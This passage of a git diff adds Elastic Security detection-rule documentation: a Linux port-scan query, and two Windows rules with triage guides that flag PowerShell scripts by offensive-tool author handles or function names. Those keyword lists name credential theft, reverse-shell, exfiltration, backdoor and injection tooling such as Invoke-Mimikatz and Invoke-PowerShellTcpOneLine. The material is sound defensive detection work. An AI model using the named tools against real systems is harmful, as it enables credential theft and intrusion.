additional systems are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.network-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "connection_attempted" and + network.direction == "egress" and + destination.port < 32768 and + not ( + cidr_match(destination.ip, "127.0.0.0/8", "::1", "FE80::/10", "FF00::/8") or + process.name in ("java", "node") or + process.name like "python*" or + process.executable in ( + "/opt/dbtk/bin/jsvc", "/usr/lib/dotnet/dotnet", "/usr/sbin/haproxy", "/opt/kaspersky/kesl/libexec/kesl", + "/usr/bin/dotnet", "/usr/sap/SAPBusinessOne/EDS/bin/EDFBackend", "/usr/local/bin/longhorn-instance-manager" + ) or + process.executable like "/var/opt/kaspersky/kesl/*kesl" or + process.executable like "/opt/google/chrome*" or + process.executable like "/snap/*" or + process.executable like "/home/*/.local/share/JetBrains/*" + ) +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + network.direction, + destination.port, + process.executable, + process.name, + destination.ip, + source.ip, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.destination_port_count_distinct = count_distinct(destination.port), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.source_ip_values = values(source.ip), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by process.executable, destination.ip +| where + Esql.agent_id_count_distinct == 1 and + Esql.destination_port_count_distinct > 100 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.executable, destination.ip, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-hacktool-script-by-author.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-hacktool-script-by-author.asciidoc new file mode 100644 index 0000000000..9c06c7118c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-hacktool-script-by-author.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-potential-powershell-hacktool-script-by-author]] +=== Potential PowerShell HackTool Script by Author + +Identifies PowerShell script block content containing known offensive-tool author handles or attribution strings (for example, public tool author names). Attackers often run public PowerShell tooling with minimal changes, leaving author artifacts in comments or headers. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential PowerShell HackTool Script by Author* + + + +*Possible investigation steps* + + +- What did the alert-local author match show? + - Focus: `powershell.file.script_block_text`, `powershell.file.script_block_length`, `file.path`, and `user.id` on `host.id`. + - Implication: escalate when the handle appears beside executable functions, encoded strings, download, credential, discovery, remote-execution, or persistence logic; lower suspicion when it is only an inert header or comment in a recognized lab, test, or community-module path with harmless surrounding code. + +- Can you reconstruct the complete script block before judging intent? + - Focus: collect and order fragments on `host.id` with `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and `powershell.file.script_block_text`. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when reconstruction reveals hidden stages, helper functions, obfuscation, decoding, or payload logic; keep unresolved if fragments are missing because they can hide decisive code. + +- Was the script file-backed or fileless, and what does that say about delivery? + - Focus: `file.path`, `file.directory`, and `file.name` when present; absent `file.path` suggests inline, generated, or interactive execution. + - Implication: escalate when fileless execution, user-writable paths, shares, temp or staging folders, or suspicious names pair with hacktool code; lower suspicion when a stable repository, lab path, or community-module path matches benign content. + +- Can you recover the PowerShell process and explain launch? + - Focus: With endpoint process telemetry, recover the matching process via `host.id + process.pid` before interpreting `process.*` or `process.parent.*`. Capture `process.entity_id`, `process.command_line`, `process.parent.executable`, and `process.parent.command_line`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: confirm timestamps to reduce PID-reuse ambiguity; if no process start event appears, expand time before falling back to `host.id`, `user.id`, and alert time. + - Implication: escalate when a document, browser, chat client, remote-management tool, scheduled task, service, or unexpected script host launched the code without matching lab, assessment, support, or deployment evidence; lower suspicion when lineage matches the exact workflow proven by script content. + +- What capability or observables move this beyond attribution text? + - Focus: reconstructed script for credential access, discovery, remote execution, payload delivery, persistence, AMSI or logging tampering, reflection, or decode-and-execute logic; extract domains, IPs, URLs, paths, accounts, registry targets, and reusable function or module names. + - Implication: escalate when the body implements offensive capability or yields high-signal observables; lower suspicion only when it remains benign utility logic tied to a recognized workflow. + +- Did script-extracted file or registry targets appear on the host? + - Focus: With file or registry telemetry, search same-PID events around `@timestamp` for extracted `file.path`, `registry.path`, `registry.value`, or `registry.data.strings`. !{investigate{"description":"","label":"File and registry events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when extracted payload paths are created or executed, or registry targets indicate persistence or security changes; missing artifact or configuration telemetry is unresolved, not benign. + +- Did extracted network or identity observables confirm active offensive use? + - Focus: With network telemetry, search same-PID DNS and connection events for extracted domains in `dns.question.name` or `dns.resolved_ip` and IPs in `destination.ip`. !{investigate{"description":"","label":"Network and DNS events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} Review Windows 4624 or 4648 with `winlog.event_data.TargetUserName` and `winlog.event_data.SubjectUserName` for extracted accounts. + - Implication: escalate when the host contacts extracted infrastructure, downloads content, or shows remote, credential, or lateral-use evidence. Missing network or authentication telemetry is unresolved, not benign. + +- If the script content or launch chain remains suspicious or unresolved, does recurrence change scope? + - Focus: related alerts for `user.id` in the last 48 hours, comparing author string, reconstructed script body, file source, launch pattern, and extracted observables. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the user view is quiet or ambiguous, compare related alerts for `host.id` in the last 48 hours. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same script body or extracted observables reach unrelated users or hosts; keep local when recurrence stays within the same lab, assessment, support, or deployment host/user cohort. Do not close on recurrence alone if script content or recovery remains unresolved. + +- Escalate on reconstructed capability, unauthorized launch, follow-on evidence, or missing/conflicting required telemetry; close only when the author match, reconstructed script, source path, launch context, observables, and `user.id` or `host.id` scope bind one exact benign workflow, with outside confirmation when telemetry cannot verify it. + + +*False positive analysis* + + +- Authorized testing, red-team, malware-analysis, validation, community-module, or admin scripts can retain author strings. Confirm the reconstructed body, exact `user.id` and `host.id` scope, `file.path` or launch context, recognized test or lab records when telemetry cannot prove legitimacy, and no contradictory observables or follow-on activity. +- Before creating an exception, validate recurrence of the same benign workflow with the same `powershell.file.script_block_text` fragment, `file.path` or launch source, and `user.id` or `host.id` scope. Avoid author-string-only exceptions because unrelated offensive scripts can reuse the same handle. + + +*Response and remediation* + + +- If confirmed benign: + - Reverse temporary containment and document the reconstructed script, source path, launch context, `user.id`, and `host.id` evidence confirming the legitimate workflow. Build an exception only for that exact workflow and scope. +- If suspicious but unconfirmed: + - Preserve or export alert details, reconstructed script with fragment metadata, process PID, source path, extracted indicators, and recovered launch details before containment or cleanup. + - Apply reversible containment tied to the evidence, such as temporary restrictions for extracted destinations or heightened monitoring on affected `host.id` and `user.id`. + - Escalate to host isolation or stronger account action only if the script is still executing, staging payloads, reaching suspicious destinations, or showing credential or lateral-use evidence, and the host role tolerates isolation. +- If confirmed malicious: + - Preserve the reconstructed script, recovered process entity ID and launch details, extracted indicators, staged artifacts, and timeline before isolation, process termination, or cleanup. + - Isolate the host when script capability, launch context, follow-on artifacts, or destination evidence confirms unauthorized activity and the host role tolerates isolation. + - Block confirmed malicious destinations, URLs, file hashes, and script paths found during triage. + - Eradicate only dropped files, registry changes, scheduled tasks, services, and follow-on payloads tied to this script, then remediate the path that delivered or launched it. + - Review related hosts and users for the same author string, reconstructed script body, or extracted indicators before destructive cleanup so scoping is complete. +- Post-incident hardening: + - Verify PowerShell 4104 logging coverage and retention are sufficient to reconstruct multi-part scripts and preserve process recovery context. + - Restrict authorized testing of public offensive PowerShell tooling to controlled hosts and identities. + - Document matched author strings, extracted observables, and author-stripped or rebranded variants surfaced during triage for future analyst reference. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:process and + powershell.file.script_block_text : ( + "mattifestation" or "JosephBialek" or + "harmj0y" or "ukstufus" or + "SecureThisShit" or "Matthew Graeber" or + "secabstraction" or "mgeeky" or + "oddvarmoe" or "am0nsec" or + "obscuresec" or "sixdub" or + "darkoperator" or "funoverip" or + "rvrsh3ll" or "kevin_robertson" or + "dafthack" or "r4wd3r" or + "danielhbohannon" or "OneLogicalMyth" or + "cobbr_io" or "xorrior" or + "PetrMedonos" or "citronneur" or + "eladshamir" or "RastaMouse" or + "enigma0x3" or "FuzzySec" or + "424f424f" or "jaredhaight" or + "fullmetalcache" or "Hubbl3" or + "curi0usJack" or "Cx01N" or + "itm4n" or "nurfed1" or + "cfalta" or "Scott Sutherland" or + "_nullbind" or "_tmenochet" or + "jaredcatkinson" or "ChrisTruncer" or + "monoxgas" or "TheRealWover" or + "splinter_code" or "samratashok" or + "leechristensen" or "nikhil_mitt" + ) and + not powershell.file.script_block_text : ("Get-UEFIDatabaseSigner" or "Posh-SSH") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-hacktool-script-by-function-names.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-hacktool-script-by-function-names.asciidoc new file mode 100644 index 0000000000..94c42b6cea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-hacktool-script-by-function-names.asciidoc @@ -0,0 +1,483 @@ +[[prebuilt-rule-8-19-34-potential-powershell-hacktool-script-by-function-names]] +=== Potential PowerShell HackTool Script by Function Names + +Detects PowerShell scripts containing function names and helpers from common offensive frameworks and tools used for discovery, credential access, injection, persistence, and exfiltration. Attackers often reuse these public functions with minimal changes, leaving recognizable function-name artifacts. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md +* https://github.com/BC-SECURITY/Empire +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 222 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell HackTool Script by Function Names* + + +This rule identifies PowerShell Script Block Logging events where the captured script content includes function names commonly reused by offensive PowerShell toolkits. Script blocks can contain function definitions (tool staging) and/or function invocation (active use). Prioritize determining what capability is present, how the script was introduced, and whether follow-on activity occurred. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` to determine intent and urgency: + - Identify the function name(s) present and map them to likely capability. Examples include: + - Credential access: `Invoke-Mimikatz`, `Invoke-Kerberoast`, `Invoke-DCSync`, `Get-GPPPassword`, `Get-LSASecret`. + - Injection or token manipulation: `Invoke-ReflectivePEInjection`, `Create-RemoteThread`, `Inject-RemoteShellcode`, `Invoke-TokenManipulation`. + - Remote execution or lateral movement: `Invoke-PsExec`, `Invoke-SMBExec`, `Invoke-WmiCommand`, `Invoke-PSRemoting`, `Invoke-DCOM`. + - Staging, persistence, or exfiltration: `Invoke-DownloadCradle`, `Add-Persistence`, `HTTP-Backdoor`, `Do-Exfiltration`. + - Determine whether the script block primarily defines functions (tool staging) or calls them (active use). If only definitions are present, look for follow-on script blocks from the same host and user that invoke the functions. + - Capture any embedded targets or indicators visible in the text (other usernames, hostnames, domains, remote paths, URLs, or IP addresses). + +- Reconstruct the complete script when it is split across multiple events: + - Pivot using `host.name` (or `host.id`) and `powershell.file.script_block_id` to collect related script blocks around `@timestamp`. + - Order fragments using `powershell.sequence` and confirm completeness using `powershell.total`. + - Use `powershell.file.script_block_length` as a size signal to distinguish a full toolkit/module from a small launcher or single command. + +- Establish script origin and execution context: + - If `file.path` / `file.name` (and `file.directory`) are present, treat the script as an on-disk artifact. Validate whether its location and naming align with approved scripts and expected administrative workflows for that host and user. + - If file fields are not present, treat the activity as potentially interactive or in-memory. Correlate other endpoint telemetry from the same `host.id` and time window to identify how PowerShell was started and what else executed immediately before and after. + +- Validate the account and host context: + - Review `user.name`, `user.domain`, and `user.id` for privilege level and whether the activity aligns with expected responsibilities and working hours. + - Review `host.name` and `host.id` to understand the system role and whether advanced PowerShell activity is expected on that host. + +- Scope for additional related activity on the same host: + - Search for other script blocks on the same `host.id` and `user.id` near the alert time to identify staging, follow-on commands, or cleanup actions. + - Pivot on `powershell.file.script_block_id` to ensure all fragments are reviewed and to detect repeated execution of the same script content. + +- Scope for related activity across the environment: + - Search for additional script blocks containing the same distinctive function name(s) or matching snippets of `powershell.file.script_block_text` to identify reuse and potential spread. + - If `file.path` or `file.name` is present, check for the same script artifact referenced on other hosts. + +- Correlate with adjacent telemetry (as available) to confirm impact and intent: + - Process telemetry to identify the initiating process (parent of PowerShell) and any suspicious child processes spawned after the script executed. + - Authentication telemetry to identify anomalous logons or access patterns involving the same user around the execution window. + - Network and DNS telemetry to identify outbound connections, internal scanning, or remote management activity aligned with `@timestamp`. + - Persistence telemetry to identify new or modified services, scheduled tasks, autoruns, or registry changes that align with the observed script capability. + + +*False positive analysis* + + +- Internal security or IT teams may run proof-of-concept or validation scripts for training, detection testing, or incident response. Confirm script ownership, change control, and expected distribution. + + +*Response and remediation* + + +- If the activity is unauthorized or suspicious: + - Contain the affected host to prevent additional execution and lateral movement. + - Preserve evidence by saving all related script block events (reconstruct full content using `powershell.file.script_block_id`, `powershell.sequence`, and `powershell.total`) and collecting any referenced on-disk script identified by `file.path`. + - Prioritize impact assessment based on the functions observed (credential access, injection, remote execution, persistence, or exfiltration) and look for corroborating activity in adjacent telemetry. + - Scope for additional impacted systems and accounts by searching for the same function names or script snippets across other hosts and users. + - Remove identified artifacts and persistence mechanisms, and monitor for re-execution using the same function-name patterns. + +- If the activity is confirmed benign: + - Document the justification (owner, purpose, expected hosts/users, and time window) and retain the reconstructed script content for future baselining. + - Where feasible, limit high-risk PowerShell tooling to controlled administrative hosts and approved accounts to reduce recurrence. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + "Add-DomainGroupMember" or "Add-DomainObjectAcl" or + "Add-RemoteConnection" or "Add-ServiceDacl" or + "Add-Win32Type" or "Convert-ADName" or + "Convert-LDAPProperty" or "ConvertFrom-LDAPLogonHours" or + "ConvertFrom-UACValue" or "Copy-ArrayOfMemAddresses" or + "Create-NamedPipe" or "Create-ProcessWithToken" or + "Create-RemoteThread" or "Create-SuspendedWinLogon" or + "Create-WinLogonProcess" or "Emit-CallThreadStub" or + "Enable-SeAssignPrimaryTokenPrivilege" or "Enable-SeDebugPrivilege" or + "Enum-AllTokens" or "Export-PowerViewCSV" or + "Find-AVSignature" or "Find-AppLockerLog" or + "Find-DomainLocalGroupMember" or "Find-DomainObjectPropertyOutlier" or + "Find-DomainProcess" or "Find-DomainShare" or + "Find-DomainUserEvent" or "Find-DomainUserLocation" or + "Find-InterestingDomainAcl" or "Find-InterestingDomainShareFile" or + "Find-InterestingFile" or "Find-LocalAdminAccess" or + "Find-PSScriptsInPSAppLog" or "Find-PathDLLHijack" or + "Find-ProcessDLLHijack" or "Find-RDPClientConnection" or + "Get-AllAttributesForClass" or "Get-CachedGPPPassword" or + "Get-DecryptedCpassword" or "Get-DecryptedSitelistPassword" or + "Get-DelegateType" or "New-RelayEnumObject" or + "Get-DomainDFSShare" or "Get-DomainDFSShareV1" or + "Get-DomainDFSShareV2" or "Get-DomainDNSRecord" or + "Get-DomainDNSZone" or "Get-DomainFileServer" or + "Get-DomainForeignGroupMember" or "Get-DomainForeignUser" or + "Get-DomainGPO" or "Get-DomainGPOComputerLocalGroupMapping" or + "Get-DomainGPOLocalGroup" or "Get-DomainGPOUserLocalGroupMapping" or + "Get-DomainGUIDMap" or "Get-DomainGroup" or + "Get-DomainGroupMember" or "Get-DomainGroupMemberDeleted" or + "Get-DomainManagedSecurityGroup" or "Get-DomainOU" or + "Get-DomainObject" or "Get-DomainObjectAcl" or + "Get-DomainObjectAttributeHistory" or "Get-DomainObjectLinkedAttributeHistory" or + "Get-DomainPolicyData" or "Get-DomainSID" or + "Get-DomainSPNTicket" or "Get-DomainSearcher" or + "Get-DomainSite" or "Get-DomainSubnet" or + "Get-DomainTrust" or "Get-DomainTrustMapping" or + "Get-DomainUser" or "Get-DomainUserEvent" or + "Get-Forest" or "Get-ForestDomain" or + "Get-ForestGlobalCatalog" or "Get-ForestSchemaClass" or + "Get-ForestTrust" or "Get-GPODelegation" or + "Get-GPPAutologon" or "Get-GPPInnerField" or + "Get-GPPInnerFields" or "Get-GPPPassword" or + "Get-GptTmpl" or "Get-GroupsXML" or + "Get-HttpStatus" or "Get-ImageNtHeaders" or + "Get-Keystrokes" or "New-SOASerialNumberArray" or + "Get-MemoryProcAddress" or "Get-MicrophoneAudio" or + "Get-ModifiablePath" or "Get-ModifiableRegistryAutoRun" or + "Get-ModifiableScheduledTaskFile" or "Get-ModifiableService" or + "Get-ModifiableServiceFile" or "Get-Name" or + "Get-NetComputerSiteName" or "Get-NetLocalGroup" or + "Get-NetLocalGroupMember" or "Get-NetLoggedon" or + "Get-NetRDPSession" or "Get-NetSession" or + "Get-NetShare" or "Get-PEArchitecture" or + "Get-PEBasicInfo" or "Get-PEDetailedInfo" or + "Get-PathAcl" or "Get-PrimaryToken" or + "Get-ProcAddress" or "Get-ProcessTokenGroup" or + "Get-ProcessTokenPrivilege" or "Get-ProcessTokenType" or + "Get-RegLoggedOn" or "Get-RegistryAlwaysInstallElevated" or + "Get-RegistryAutoLogon" or "Get-RemoteProcAddress" or + "Get-Screenshot" or "Get-ServiceDetail" or + "Get-SiteListPassword" or "Get-SitelistField" or + "Get-System" or "Get-SystemNamedPipe" or + "Get-SystemToken" or "Get-ThreadToken" or + "Get-TimedScreenshot" or "Get-TokenInformation" or + "Get-TopPort" or "Get-UnattendedInstallFile" or + "Get-UniqueTokens" or "Get-UnquotedService" or + "Get-VaultCredential" or "Get-VaultElementValue" or + "Get-VirtualProtectValue" or "Get-VolumeShadowCopy" or + "Get-WMIProcess" or "Get-WMIRegCachedRDPConnection" or + "Get-WMIRegLastLoggedOn" or "Get-WMIRegMountedDrive" or + "Get-WMIRegProxy" or "Get-WebConfig" or + "Get-Win32Constants" or "Get-Win32Functions" or + "Get-Win32Types" or "Import-DllImports" or + "Import-DllInRemoteProcess" or "Inject-LocalShellcode" or + "Inject-RemoteShellcode" or "Install-ServiceBinary" or + "Invoke-CompareAttributesForClass" or "Invoke-CreateRemoteThread" or + "Invoke-CredentialInjection" or "Invoke-DllInjection" or + "Invoke-EventVwrBypass" or "Invoke-ImpersonateUser" or + "Invoke-Kerberoast" or "Invoke-MemoryFreeLibrary" or + "Invoke-MemoryLoadLibrary" or + "Invoke-Mimikatz" or "Invoke-NinjaCopy" or + "Invoke-PatchDll" or "Invoke-Portscan" or + "Invoke-PrivescAudit" or "Invoke-ReflectivePEInjection" or + "Invoke-ReverseDnsLookup" or "Invoke-RevertToSelf" or + "Invoke-ServiceAbuse" or "Invoke-Shellcode" or + "Invoke-TokenManipulation" or "Invoke-UserImpersonation" or + "Invoke-WmiCommand" or "Mount-VolumeShadowCopy" or + "New-ADObjectAccessControlEntry" or "New-DomainGroup" or + "New-DomainUser" or "New-DynamicParameter" or + "New-InMemoryModule" or + "New-ThreadedFunction" or "New-VolumeShadowCopy" or + "Out-CompressedDll" or "Out-EncodedCommand" or + "Out-EncryptedScript" or "Out-Minidump" or + "PortScan-Alive" or "Portscan-Port" or + "Remove-DomainGroupMember" or "Remove-DomainObjectAcl" or + "Remove-RemoteConnection" or "Remove-VolumeShadowCopy" or + "Restore-ServiceBinary" or "Set-DesktopACLToAllowEveryone" or + "Set-DesktopACLs" or "Set-DomainObject" or + "Set-DomainObjectOwner" or "Set-DomainUserPassword" or + "Set-ServiceBinaryPath" or "Sub-SignedIntAsUnsigned" or + "Test-AdminAccess" or "Test-MemoryRangeValid" or + "Test-ServiceDaclPermission" or "Update-ExeFunctions" or + "Update-MemoryAddresses" or "Update-MemoryProtectionFlags" or + "Write-BytesToMemory" or "Write-HijackDll" or + "Write-PortscanOut" or "Write-ServiceBinary" or + "Write-UserAddMSI" or "Invoke-Privesc" or + "func_get_proc_address" or "Invoke-BloodHound" or + "Invoke-HostEnum" or "Get-BrowserInformation" or + "Get-DomainAccountPolicy" or "Get-DomainAdmins" or + "Get-AVProcesses" or "Get-AVInfo" or + "Get-RecycleBin" or "Invoke-BruteForce" or + "Get-PassHints" or "Invoke-SessionGopher" or + "Get-LSASecret" or "Get-PassHashes" or + "Invoke-WdigestDowngrade" or "Get-ChromeDump" or + "Invoke-DomainPasswordSpray" or "Get-FoxDump" or + "New-HoneyHash" or "Invoke-DCSync" or + "Invoke-PowerDump" or "Invoke-SSIDExfil" or + "Invoke-PowerShellTCP" or "Add-Exfiltration" or + "Do-Exfiltration" or "Invoke-DropboxUpload" or + "Invoke-ExfilDataToGitHub" or "Invoke-EgressCheck" or + "Invoke-PostExfil" or "Create-MultipleSessions" or + "Invoke-NetworkRelay" or "New-GPOImmediateTask" or + "Invoke-WMIDebugger" or "Invoke-SQLOSCMD" or + "Invoke-SMBExec" or "Invoke-PSRemoting" or + "Invoke-ExecuteMSBuild" or "Invoke-DCOM" or + "Invoke-InveighRelay" or "Invoke-PsExec" or + "Find-ActiveUsersWMI" or + "Get-SystemDrivesWMI" or "Get-ActiveNICSWMI" or + "Remove-Persistence" or "DNS_TXT_Pwnage" or + "Execute-OnTime" or "HTTP-Backdoor" or + "Add-ConstrainedDelegationBackdoor" or "Add-RegBackdoor" or + "Add-ScrnSaveBackdoor" or "Gupt-Backdoor" or + "Invoke-ADSBackdoor" or "Add-Persistence" or + "Invoke-ResolverBackdoor" or "Invoke-EventLogBackdoor" or + "Invoke-DeadUserBackdoor" or "Invoke-DisableMachineAcctChange" or + "Invoke-AccessBinary" or "Add-NetUser" or + "Invoke-Schtasks" or "Invoke-JSRatRegsvr" or + "Invoke-JSRatRundll" or "Invoke-PoshRatHttps" or + "Invoke-PsGcatAgent" or "Remove-PoshRat" or + "Install-SSP" or "Invoke-BackdoorLNK" or + "PowerBreach" or "InstallEXE-Persistence" or + "RemoveEXE-Persistence" or "Install-ServiceLevel-Persistence" or + "Remove-ServiceLevel-Persistence" or "Invoke-Prompt" or + "Invoke-PacketCapture" or "Start-WebcamRecorder" or + "Get-USBKeyStrokes" or "Invoke-KeeThief" or + "Get-Keystrokes" or "Invoke-NetRipper" or + "Get-EmailItems" or "Invoke-MailSearch" or + "Invoke-SearchGAL" or "Get-WebCredentials" or + "Start-CaptureServer" or "Invoke-PowerShellIcmp" or + "Invoke-PowerShellTcpOneLine" or "Invoke-PowerShellTcpOneLineBind" or + "Invoke-PowerShellUdp" or "Invoke-PowerShellUdpOneLine" or + "Run-EXEonRemote" or 